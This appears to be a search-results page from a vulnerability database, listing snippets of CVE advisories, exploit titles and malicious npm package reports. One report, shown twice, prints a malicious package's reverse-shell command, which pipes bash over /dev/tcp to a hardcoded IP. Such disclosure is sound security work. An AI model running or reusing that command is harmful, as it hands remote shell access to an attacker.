40950 matches found
CLSA-2026-1779700361 vim: Fix of CVE-2026-42307
CVE-2026-42307: fix shell injection in netrw via the tempfile suffix when reading sftp:// or file:// URLs by escaping the tempfile and restricting the suffix regex to word characters...
CLSA-2026-1779694105 Fix CVE(s): CVE-2026-42307
SECURITY UPDATE: fix shell-injection in netrw via crafted sftp:// and file:// URLs by escaping the tempfile name and restricting the filename-suffix regex to word characters runtime/autoload/netrw.vim, upstream patch 9.2.0383 - debian/patches/CVE-2026-42307.patch: fix shell-injection in netrw via...
MAL-2026-4679 Malicious code in system-user-identifier-cli (npm)
--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 4da2798716abd83143a0a2e2b3e5064e2f2a1ac0a63633a70c42881330f52be8 index.js line 13 executes bash -c "bash -i & /dev/tcp/101.43.232.7/7777 0&1" via childprocess.exec, opening an interactive reverse shell to the...
Malicious code in system-user-identifier-cli (npm)
--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 4da2798716abd83143a0a2e2b3e5064e2f2a1ac0a63633a70c42881330f52be8 index.js line 13 executes bash -c "bash -i & /dev/tcp/101.43.232.7/7777 0&1" via childprocess.exec, opening an interactive reverse shell to the...
CVE-2018-25375: Stack-based Buffer Overflow
SocuSoft iPod Photo Slideshow 8.05 contains a buffer overflow vulnerability in the registration dialog that allows local attackers to execute arbitrary code by overwriting the structured exception handler. Attackers can craft malicious input in the Registration Name and Registration Key fields to...
"What Is the Problem Space?" Defining Host-Space Adversarial Perturbations against Network Intrusion Detection Systems
Network Intrusion Detection Systems NIDS are now increasingly leveraging Machine Learning ML techniques to detect malicious network activities. Numerous papers have scrutinized the security of ML-based NIDS ML-NIDS by testing them against various attacks involving adversarial perturbations. The...
PT-2026-43227
Name of the Vulnerable Software and Affected Versions SocuSoft iPod Photo Slideshow version 8.05 Description A stack-based buffer overflow exists in the registration dialog. Local attackers can execute arbitrary code by overwriting the structured exception handler SEH, which is a mechanism used t...
Linux Distros Unpatched Vulnerability : CVE-2026-9277
The Linux/Unix host has one or more packages installed that are impacted by a vulnerability without a vendor supplied patch available. - shell-quote's quote function did not validate object-token inputs against the operator model used by parse. The .op field was backslash-escaped character by...
Linux Distros Unpatched Vulnerability : CVE-2026-39834
The Linux/Unix host has one or more packages installed that are impacted by a vulnerability without a vendor supplied patch available. - When writing data larger than 4GB in a single Write call on an SSH channel, an integer overflow in the internal payload size calculation caused the write loop t...
PT-2026-43228
Name of the Vulnerable Software and Affected Versions Socusoft 3GP Photo Slideshow version 8.05 Description A buffer overflow exists in the registration dialog. Local attackers can execute arbitrary code by exploiting structured exception handling SEH, a mechanism used to handle software errors. ...
PT-2026-43229
Name of the Vulnerable Software and Affected Versions Flash Slideshow Maker Professional version 5.20 Description A buffer overflow exists in the registration dialog. Local attackers can execute arbitrary code by exploiting structured exception handling SEH, a mechanism used to handle software...
ClipBucket-EDB-44250
ClipBucket-EDB-44250 Unauthenticated Remote Code Execution in...
Exploit for CVE-2026-4885
CVE-2026-4885 – Piotnet Addons for Elementor Pro Mass Exploit...
MAL-2026-4484 Malicious code in ask-my-llm (npm)
--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 9429d8e8e36f3d97c246ce408491ea570ab5d3f5e7cb2481a3c2ea4b7c8477b8 index.js requires childprocess and contains hardcoded POST calls to https://cows.info.gf at lines 67 and 100, alongside references to process.env at...
Command Injection
go-git is vulnerable to Command Injection. The vulnerability is due to improper escaping of single quotes in repository paths when constructing SSH remote execution commands, where specially crafted repository paths can break out of the quoted command, allowing attackers to inject and execute...
Exploit for CVE-2026-6960
CVE-2026-6960 — BookingPress Pro ≤ 5.6 | Unauthenticated Arbit...
SUSE CVE-2026-39827
An authenticated SSH client that repeatedly opened channels which were rejected by the server caused unbounded memory growth, eventually crashing the server process and affecting all connected users. Rejected channels are now properly removed from the connection's internal state and released for...
SUSE CVE-2026-39830
A malicious SSH peer could send unsolicited global request responses to fill an internal buffer, blocking the connection's read loop. The blocked goroutine could not be released by calling Close, resulting in a resource leak per connection. Unsolicited global responses are now discarded...